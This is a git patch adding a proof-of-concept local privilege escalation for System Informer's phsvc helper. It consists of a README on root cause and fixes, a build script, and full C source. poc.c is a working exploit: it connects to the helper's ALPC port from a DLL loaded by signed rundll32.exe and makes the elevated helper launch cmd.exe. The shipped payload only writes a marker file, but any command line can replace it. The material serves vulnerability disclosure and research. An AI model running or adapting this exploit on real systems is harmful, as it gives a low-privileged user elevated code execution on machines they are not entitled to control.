From 1956b7a8c53538d114964fa3fe5c4fe9b2d4d028 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Wed, 24 Jun 2026 00:13:16 -0500 Subject: [PATCH] Add System Informer phsvc LPE PoC --- README.md | 3 +- .../README.md | 209 +++++++++++ .../build.bat | 7 + .../poc.c | 333 ++++++++++++++++++ 4 files changed, 551 insertions(+), 1 deletion(-) create mode 100644 systeminformer-phsvc-trusted-host-lpe-poc/README.md create mode 100644 systeminformer-phsvc-trusted-host-lpe-poc/build.bat create mode 100644 systeminformer-phsvc-trusted-host-lpe-poc/poc.c diff --git a/README.md b/README.md index ea870f8..e39155f 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 | | `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 | | `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 | +| `systeminformer-phsvc-trusted-host-lpe-poc` | direct entry, June 24, 2026 | 3 | | `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 | ## Consolidation Check @@ -41,4 +42,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders. -Direct entries, including `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, and `nmap-ipv6-extlen-wrap-poc`, are authored in this repository and are tracked by this repository's commit history. +Direct entries, including `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are authored in this repository and are tracked by this repository's commit history. diff --git a/systeminformer-phsvc-trusted-host-lpe-poc/README.md b/systeminformer-phsvc-trusted-host-lpe-poc/README.md new file mode 100644 index 0000000..db4f3ec --- /dev/null +++ b/systeminformer-phsvc-trusted-host-lpe-poc/README.md @@ -0,0 +1,209 @@ +# System Informer phsvc Trusted-Host Local Privilege Escalation PoC + +This folder documents and validates a local arbitrary-code-execution and privilege-escalation issue in the System Informer helper process, `phsvc`. + +The issue is an authorization boundary failure in the helper IPC path. The helper accepts clients whose process image verifies as generically trusted by Authenticode. It does not require that the client is System Informer, signed by the System Informer publisher, or free of attacker-controlled loaded code. + +A low-privileged local user can run attacker-controlled code inside a trusted signed Windows host process such as `rundll32.exe`, connect to the helper ALPC port, and invoke privileged helper APIs. If the helper instance is elevated, the requested process runs in the elevated helper context. + +## Affected Target + +- Product lineage: Process Hacker is now System Informer +- Tested product: System Informer canary +- Tested version: `4.0.26162.539` +- Build date observed: `2026-06-11` +- Source commit: `5311c5ff7ebe0a900a792730395faf147d4451b9` +- Official canary portable archive SHA256: `9D48F6D4EA28661AE097205E292EDF76133BC3DB0D81A978F8F11D3792891F36` +- Tested binary: `SystemInformer.exe` +- Tested `SystemInformer.exe` SHA256: `2552CEA024018EA1EF313C0D467331FF144AB9A138C758C875074E9AB9860F39` +- Platform: Windows x64 + +## Impact + +The helper process exposes privileged actions over an ALPC API port. When an elevated helper instance is live, a medium-integrity local user can: + +- connect to `\BaseNamedObjects\SiSvcApiPort` from code hosted inside a trusted signed process image; +- pass the helper's client verification gate; +- invoke the `PhSvcCreateProcessIgnoreIfeoDebuggerApiNumber` API; +- cause `phsvc` to create an attacker-chosen process in the helper's security context. + +This is local arbitrary code execution in the helper context. In common elevated-helper cases, that is local privilege escalation from a lower-privileged user context to an elevated administrative context. + +The helper also exposes service-management APIs such as `PhSvcCreateServiceApiNumber`. Those APIs expand the impact when the helper has the required Service Control Manager rights, but the included PoC intentionally uses a marker-only process-creation request. + +## Root Cause + +The helper's IPC server trusts generic Authenticode status of the client process image as the client identity. + +The trust check answers the wrong question. `rundll32.exe` is a trusted Microsoft-signed image, but it can load and execute an unsigned attacker-controlled DLL. When the helper validates only the host image, attacker code inherits the host image's trusted status for the helper connection. + +The result is a confused-deputy bug: + +1. The low-privileged user starts trusted signed `rundll32.exe`. +2. `rundll32.exe` loads attacker-controlled DLL code. +3. The DLL connects to the helper port. +4. `phsvc` verifies the `rundll32.exe` image and accepts the connection. +5. The DLL sends a privileged helper API request. +6. `phsvc` performs the operation in its own security context. + +## Source Evidence + +The following source references are from commit `5311c5ff7ebe0a900a792730395faf147d4451b9`. + +| Area | Evidence | +| --- | --- | +| Fixed helper port | `SystemInformer/include/phsvcapi.h` defines `PHSVC_PORT_NAME` as `\BaseNamedObjects\SiSvcApiPort` | +| Connect ACL | `SystemInformer/phsvc/svcapiport.c` grants `PORT_CONNECT` to Everyone when creating the port DACL | +| Client verification | `SystemInformer/phsvc/svcapiport.c` opens the remote client image and calls `PhVerifyFileEx` | +| Trust decision | `SystemInformer/phsvc/svcapiport.c` accepts the client when the verification result is `VrTrusted` | +| Release gate | the `PH_BUILD_API` connection path applies that verification before accepting the port connection | +| Client acceptance | accepted clients are passed to `NtAcceptConnectPort` with acceptance set to true | +| API dispatch | `SystemInformer/phsvc/svcapi.c` dispatches requests by API number after connection acceptance | +| Process creation API | `SystemInformer/phsvc/svcapi.c` exposes `PhSvcApiCreateProcessIgnoreIfeoDebugger` | +| Process creation sink | `PhSvcApiCreateProcessIgnoreIfeoDebugger` captures caller-controlled relative strings and reaches `PhCreateProcessIgnoreIfeoDebugger` | +| Service API | `SystemInformer/phsvc/svcapi.c` exposes `PhSvcApiCreateService`, which captures caller-controlled service fields and calls `CreateService` | + +The important authorization gap is that the helper checks whether the client image is trusted, not whether the running code in the client process is System Informer-controlled. + +## Dynamic Validation + +The issue was validated against the downloaded canary helper with two clients: + +| Client shape | Expected result | Observed result | +| --- | --- | --- | +| Unsigned standalone EXE client | rejected by `PH_BUILD_API` verification | `status=0xc0000041`, no marker | +| Microsoft-signed `rundll32.exe` loading an unsigned DLL | accepted because host image is trusted | `status=0x00000000`, marker written | + +The accepted `rundll32.exe` test requested: + +```text +cmd.exe /c echo SYSTEMINFORMER_PHSVC_POC>"%TEMP%\systeminformer_phsvc_poc.txt" +``` + +The marker write proves that attacker-controlled DLL code running inside a trusted signed host process can drive the helper API. + +## PoC Contents + +```text +. +|-- README.md +|-- build.bat +`-- poc.c +``` + +`poc.c` can be built in two forms: + +- `phsvc_rundll_poc.dll`: the primary PoC, intended to be loaded by signed `rundll32.exe`; +- `phsvc_unsigned_client.exe`: the negative-control client, expected to be rejected by the helper on release builds that enforce `PH_BUILD_API`. + +The PoC is marker-only. It does not install a service, create persistence, spawn a reverse shell, dump credentials, tamper with protected files, or disable security software. + +## Requirements + +- Windows x64 +- A vulnerable System Informer build with a live `phsvc` instance +- A C compiler that can target Windows x64 +- `rundll32.exe` from Windows + +The provided `build.bat` uses MinGW-w64 `gcc` if available on `PATH`. + +## Build + +```cmd +build.bat +``` + +Equivalent manual commands: + +```cmd +gcc -shared -municode -O2 -Wall -Wextra -o phsvc_rundll_poc.dll poc.c -lshell32 +gcc -municode -O2 -Wall -Wextra -DBUILD_EXE -o phsvc_unsigned_client.exe poc.c -lshell32 +``` + +## Usage + +Start or otherwise trigger an elevated System Informer helper instance, then run the signed-host DLL form: + +```cmd +rundll32.exe phsvc_rundll_poc.dll,Run "%TEMP%\systeminformer_phsvc_poc.txt" +``` + +Check the marker and status files: + +```cmd +type "%TEMP%\systeminformer_phsvc_poc.txt" +type "%TEMP%\systeminformer_phsvc_poc.txt.status" +``` + +Expected successful marker: + +```text +SYSTEMINFORMER_PHSVC_POC +``` + +Expected successful status: + +```text +status=0x00000000 +``` + +Run the unsigned control client: + +```cmd +phsvc_unsigned_client.exe "%TEMP%\systeminformer_phsvc_unsigned_control.txt" +``` + +Expected release-build control result: + +```text +status=0xc0000041 +``` + +No unsigned-control marker should be written when the helper enforces the release client verification path. + +## Reproduction Notes + +The helper is not always running. It is started for elevated System Informer operations and exits after its idle timeout when no clients remain. + +For a clean validation: + +1. Use the tested canary or another vulnerable build. +2. Trigger an elevated helper instance. +3. Run the DLL form through `rundll32.exe` while the helper is live. +4. Confirm `status=0x00000000`. +5. Confirm the marker file was created. +6. Run the unsigned EXE control. +7. Confirm the unsigned control is rejected. + +If both the DLL and EXE clients fail with a connection error, the helper port is probably not live in the current session or namespace. + +## Why `rundll32.exe` Matters + +The helper asks whether the process image is trusted. For the DLL PoC, the process image is the Microsoft-signed Windows binary: + +```text +C:\Windows\System32\rundll32.exe +``` + +The code making the ALPC request is attacker-controlled code loaded into that process. Generic image trust therefore does not establish trust in the executing code. + +Any similar trusted signed host process that can load attacker-controlled code would have the same authorization problem. + +## Security Boundary + +This is not remote code execution. The attacker needs local code execution as a lower-privileged user and a live helper instance in a reachable object namespace. + +The vulnerability crosses the local privilege boundary when the helper is elevated and accepts the lower-privileged trusted-host client. + +## Fix Direction + +- Do not authorize helper clients based only on generic Authenticode trust of the process image. +- Require a System Informer-specific identity, such as a pinned signer plus expected binary identity. +- Treat signed host processes that load arbitrary DLLs as untrusted clients unless there is a stronger attestation mechanism. +- Restrict the helper port DACL so unrelated medium-integrity clients cannot connect to an elevated helper. +- Add per-API authorization based on the connected client's token, integrity level, session, and intended operation. +- Fail closed for process creation, service creation, run-as, and service-security APIs unless the caller is explicitly authorized for that operation. + +## Responsible Use + +Use this PoC only on systems you own or are explicitly authorized to test. Keep demonstrations marker-only and avoid replacing the benign marker command with destructive payloads. diff --git a/systeminformer-phsvc-trusted-host-lpe-poc/build.bat b/systeminformer-phsvc-trusted-host-lpe-poc/build.bat new file mode 100644 index 0000000..f23655f --- /dev/null +++ b/systeminformer-phsvc-trusted-host-lpe-poc/build.bat @@ -0,0 +1,7 @@ +@echo off +setlocal +gcc -shared -municode -O2 -Wall -Wextra -o phsvc_rundll_poc.dll poc.c -lshell32 +if errorlevel 1 exit /b 1 +gcc -municode -O2 -Wall -Wextra -DBUILD_EXE -o phsvc_unsigned_client.exe poc.c -lshell32 +if errorlevel 1 exit /b 1 +echo built phsvc_rundll_poc.dll and phsvc_unsigned_client.exe diff --git a/systeminformer-phsvc-trusted-host-lpe-poc/poc.c b/systeminformer-phsvc-trusted-host-lpe-poc/poc.c new file mode 100644 index 0000000..d471593 --- /dev/null +++ b/systeminformer-phsvc-trusted-host-lpe-poc/poc.c @@ -0,0 +1,333 @@ +#include +#include +#include +#include +#include +#include + +typedef LONG NTSTATUS; + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#ifndef STATUS_NO_MEMORY +#define STATUS_NO_MEMORY ((NTSTATUS)0xC0000017L) +#endif +#define PH_SVC_API_CREATE_PROCESS_IGNORE_IFEO_DEBUGGER 16 + +#ifndef NTAPI +#define NTAPI __stdcall +#endif + +#ifndef SECURITY_DYNAMIC_TRACKING +#define SECURITY_DYNAMIC_TRACKING 1 +#endif + +#ifndef SecurityImpersonation +#define SecurityImpersonation 2 +#endif + +typedef struct _UNICODE_STRING_LOCAL { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING_LOCAL, *PUNICODE_STRING_LOCAL; + +typedef struct _CLIENT_ID_LOCAL { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID_LOCAL; + +typedef struct _PORT_MESSAGE_LOCAL { + union { + struct { + SHORT DataLength; + SHORT TotalLength; + } s1; + ULONG Length; + } u1; + union { + struct { + SHORT Type; + SHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union { + CLIENT_ID_LOCAL ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union { + SIZE_T ClientViewSize; + ULONG CallbackId; + }; +} PORT_MESSAGE_LOCAL, *PPORT_MESSAGE_LOCAL; + +typedef struct _PORT_VIEW_LOCAL { + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW_LOCAL, *PPORT_VIEW_LOCAL; + +typedef struct _REMOTE_PORT_VIEW_LOCAL { + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW_LOCAL, *PREMOTE_PORT_VIEW_LOCAL; + +typedef struct _PH_RELATIVE_STRINGREF_LOCAL { + ULONG Length; + ULONG Offset; +} PH_RELATIVE_STRINGREF_LOCAL; + +typedef struct _PHSVC_API_CONNECTINFO_LOCAL { + ULONG ServerProcessId; +} PHSVC_API_CONNECTINFO_LOCAL; + +typedef union _PHSVC_API_PAYLOAD_LOCAL { + PHSVC_API_CONNECTINFO_LOCAL ConnectInfo; + struct { + ULONG ApiNumber; + NTSTATUS ReturnStatus; + union { + struct { + PH_RELATIVE_STRINGREF_LOCAL FileName; + PH_RELATIVE_STRINGREF_LOCAL CommandLine; + } CreateProcessIgnoreIfeoDebugger; + } u; + }; +} PHSVC_API_PAYLOAD_LOCAL; + +typedef struct _PHSVC_API_MSG_LOCAL { + PORT_MESSAGE_LOCAL h; + PHSVC_API_PAYLOAD_LOCAL p; +} PHSVC_API_MSG_LOCAL; + +typedef NTSTATUS (NTAPI *PFN_NtCreateSection)(PHANDLE, ACCESS_MASK, PVOID, PLARGE_INTEGER, ULONG, ULONG, HANDLE); +typedef NTSTATUS (NTAPI *PFN_NtConnectPort)(PHANDLE, PUNICODE_STRING_LOCAL, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW_LOCAL, PREMOTE_PORT_VIEW_LOCAL, PULONG, PVOID, PULONG); +typedef NTSTATUS (NTAPI *PFN_NtRequestWaitReplyPort)(HANDLE, PPORT_MESSAGE_LOCAL, PPORT_MESSAGE_LOCAL); +typedef NTSTATUS (NTAPI *PFN_NtClose)(HANDLE); +typedef PVOID (NTAPI *PFN_RtlCreateHeap)(ULONG, PVOID, SIZE_T, SIZE_T, PVOID, PVOID); +typedef PVOID (NTAPI *PFN_RtlAllocateHeap)(PVOID, ULONG, SIZE_T); +typedef BOOLEAN (NTAPI *PFN_RtlFreeHeap)(PVOID, ULONG, PVOID); +typedef PVOID (NTAPI *PFN_RtlDestroyHeap)(PVOID); +typedef NTSTATUS (NTAPI *PFN_RtlSetHeapInformation)(PVOID, HEAP_INFORMATION_CLASS, PVOID, SIZE_T); + +static PFN_NtCreateSection pNtCreateSection; +static PFN_NtConnectPort pNtConnectPort; +static PFN_NtRequestWaitReplyPort pNtRequestWaitReplyPort; +static PFN_NtClose pNtClose; +static PFN_RtlCreateHeap pRtlCreateHeap; +static PFN_RtlAllocateHeap pRtlAllocateHeap; +static PFN_RtlFreeHeap pRtlFreeHeap; +static PFN_RtlDestroyHeap pRtlDestroyHeap; +static PFN_RtlSetHeapInformation pRtlSetHeapInformation; + +#define RESOLVE_NTDLL(Name, Type) (Name = (Type)(void *)GetProcAddress(ntdll, #Name + 1)) + +static void init_unicode_string(PUNICODE_STRING_LOCAL s, PCWSTR value) +{ + SIZE_T bytes = wcslen(value) * sizeof(WCHAR); + s->Length = (USHORT)bytes; + s->MaximumLength = (USHORT)(bytes + sizeof(WCHAR)); + s->Buffer = (PWSTR)value; +} + +static void write_text(PCWSTR path, PCWSTR text) +{ + HANDLE file = CreateFileW(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) { + DWORD written = 0; + WriteFile(file, text, (DWORD)(wcslen(text) * sizeof(WCHAR)), &written, NULL); + CloseHandle(file); + } +} + +static BOOL resolve_ntdll(void) +{ + HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); + if (!ntdll) + return FALSE; + + RESOLVE_NTDLL(pNtCreateSection, PFN_NtCreateSection); + RESOLVE_NTDLL(pNtConnectPort, PFN_NtConnectPort); + RESOLVE_NTDLL(pNtRequestWaitReplyPort, PFN_NtRequestWaitReplyPort); + RESOLVE_NTDLL(pNtClose, PFN_NtClose); + RESOLVE_NTDLL(pRtlCreateHeap, PFN_RtlCreateHeap); + RESOLVE_NTDLL(pRtlAllocateHeap, PFN_RtlAllocateHeap); + RESOLVE_NTDLL(pRtlFreeHeap, PFN_RtlFreeHeap); + RESOLVE_NTDLL(pRtlDestroyHeap, PFN_RtlDestroyHeap); + RESOLVE_NTDLL(pRtlSetHeapInformation, PFN_RtlSetHeapInformation); + + return pNtCreateSection && pNtConnectPort && pNtRequestWaitReplyPort && pNtClose && + pRtlCreateHeap && pRtlAllocateHeap && pRtlFreeHeap && pRtlDestroyHeap && + pRtlSetHeapInformation; +} + +static PVOID make_shared_string(PVOID heap, PCWSTR value, PH_RELATIVE_STRINGREF_LOCAL *ref) +{ + SIZE_T length = wcslen(value) * sizeof(WCHAR); + PBYTE memory = (PBYTE)pRtlAllocateHeap(heap, HEAP_ZERO_MEMORY, length); + if (!memory) + return NULL; + + memcpy(memory, value, length); + ref->Length = (ULONG)length; + ref->Offset = (ULONG)(memory - (PBYTE)heap); + return memory; +} + +static NTSTATUS connect_and_execute(PCWSTR marker_path) +{ + UNICODE_STRING_LOCAL port_name; + HANDLE section = NULL; + HANDLE port = NULL; + LARGE_INTEGER section_size; + PORT_VIEW_LOCAL client_view; + REMOTE_PORT_VIEW_LOCAL server_view; + SECURITY_QUALITY_OF_SERVICE qos; + ULONG max_message_length = 0; + PHSVC_API_CONNECTINFO_LOCAL connect_info; + ULONG connect_info_length; + PVOID heap = NULL; + ULONG heap_compatibility = 2; + NTSTATUS status; + + init_unicode_string(&port_name, L"\\BaseNamedObjects\\SiSvcApiPort"); + section_size.QuadPart = 8ull * 1024ull * 1024ull; + + status = pNtCreateSection(§ion, SECTION_ALL_ACCESS, NULL, §ion_size, PAGE_READWRITE, SEC_COMMIT, NULL); + if (!NT_SUCCESS(status)) + return status; + + ZeroMemory(&client_view, sizeof(client_view)); + client_view.Length = sizeof(client_view); + client_view.SectionHandle = section; + client_view.ViewSize = (SIZE_T)section_size.QuadPart; + + ZeroMemory(&server_view, sizeof(server_view)); + server_view.Length = sizeof(server_view); + + ZeroMemory(&qos, sizeof(qos)); + qos.Length = sizeof(qos); + qos.ImpersonationLevel = SecurityImpersonation; + qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; + qos.EffectiveOnly = TRUE; + + ZeroMemory(&connect_info, sizeof(connect_info)); + connect_info_length = sizeof(connect_info); + + status = pNtConnectPort(&port, &port_name, &qos, &client_view, &server_view, &max_message_length, &connect_info, &connect_info_length); + pNtClose(section); + + if (!NT_SUCCESS(status)) + return status; + + heap = pRtlCreateHeap(0, client_view.ViewBase, client_view.ViewSize, 0x1000, NULL, NULL); + if (!heap) { + pNtClose(port); + return STATUS_NO_MEMORY; + } + + pRtlSetHeapInformation(heap, HeapCompatibilityInformation, &heap_compatibility, sizeof(heap_compatibility)); + + { + WCHAR command_line[MAX_PATH * 4]; + PHSVC_API_MSG_LOCAL msg; + PVOID file_mem; + PVOID cmd_mem; + + swprintf(command_line, sizeof(command_line) / sizeof(command_line[0]), L"\"C:\\Windows\\System32\\cmd.exe\" /c echo SYSTEMINFORMER_PHSVC_POC>\"%ls\"", marker_path); + + ZeroMemory(&msg, sizeof(msg)); + msg.p.ApiNumber = PH_SVC_API_CREATE_PROCESS_IGNORE_IFEO_DEBUGGER; + file_mem = make_shared_string(heap, L"C:\\Windows\\System32\\cmd.exe", &msg.p.u.CreateProcessIgnoreIfeoDebugger.FileName); + cmd_mem = make_shared_string(heap, command_line, &msg.p.u.CreateProcessIgnoreIfeoDebugger.CommandLine); + + if (!file_mem || !cmd_mem) { + status = STATUS_NO_MEMORY; + } else { + msg.h.u1.s1.DataLength = sizeof(PHSVC_API_MSG_LOCAL) - offsetof(PHSVC_API_MSG_LOCAL, p); + msg.h.u1.s1.TotalLength = sizeof(PHSVC_API_MSG_LOCAL); + msg.h.u2.ZeroInit = 0; + status = pNtRequestWaitReplyPort(port, &msg.h, &msg.h); + if (NT_SUCCESS(status)) + status = msg.p.ReturnStatus; + } + + if (cmd_mem) + pRtlFreeHeap(heap, 0, cmd_mem); + if (file_mem) + pRtlFreeHeap(heap, 0, file_mem); + } + + pRtlDestroyHeap(heap); + pNtClose(port); + return status; +} + +static void default_marker_path(PWSTR buffer, DWORD count, PCWSTR leaf) +{ + DWORD used = GetTempPathW(count, buffer); + if (!used || used >= count) { + wcsncpy(buffer, L".\\", count - 1); + buffer[count - 1] = 0; + } + wcsncat(buffer, leaf, count - wcslen(buffer) - 1); +} + +static void run_probe(PCWSTR marker_path) +{ + WCHAR marker[MAX_PATH * 2]; + WCHAR status_path[MAX_PATH * 2]; + WCHAR status_text[256]; + NTSTATUS status; + + if (marker_path && marker_path[0]) { + wcsncpy(marker, marker_path, (sizeof(marker) / sizeof(marker[0])) - 1); + marker[(sizeof(marker) / sizeof(marker[0])) - 1] = 0; + } else { + default_marker_path(marker, sizeof(marker) / sizeof(marker[0]), L"systeminformer_phsvc_poc.txt"); + } + + swprintf(status_path, sizeof(status_path) / sizeof(status_path[0]), L"%ls.status", marker); + + if (!resolve_ntdll()) { + write_text(status_path, L"resolve_ntdll_failed"); + return; + } + + status = connect_and_execute(marker); + swprintf(status_text, sizeof(status_text) / sizeof(status_text[0]), L"status=0x%08lx", (ULONG)status); + write_text(status_path, status_text); +} + +__declspec(dllexport) void CALLBACK Run(HWND hwnd, HINSTANCE hinst, LPSTR cmdline, int ncmdshow) +{ + int argc = 0; + LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc); + PCWSTR marker_path = NULL; + + (void)hwnd; + (void)hinst; + (void)cmdline; + (void)ncmdshow; + + if (argv && argc >= 3) + marker_path = argv[argc - 1]; + + run_probe(marker_path); + + if (argv) + LocalFree(argv); +} + +#ifdef BUILD_EXE +int wmain(int argc, wchar_t **argv) +{ + run_probe(argc >= 2 ? argv[1] : NULL); + return 0; +} +#endif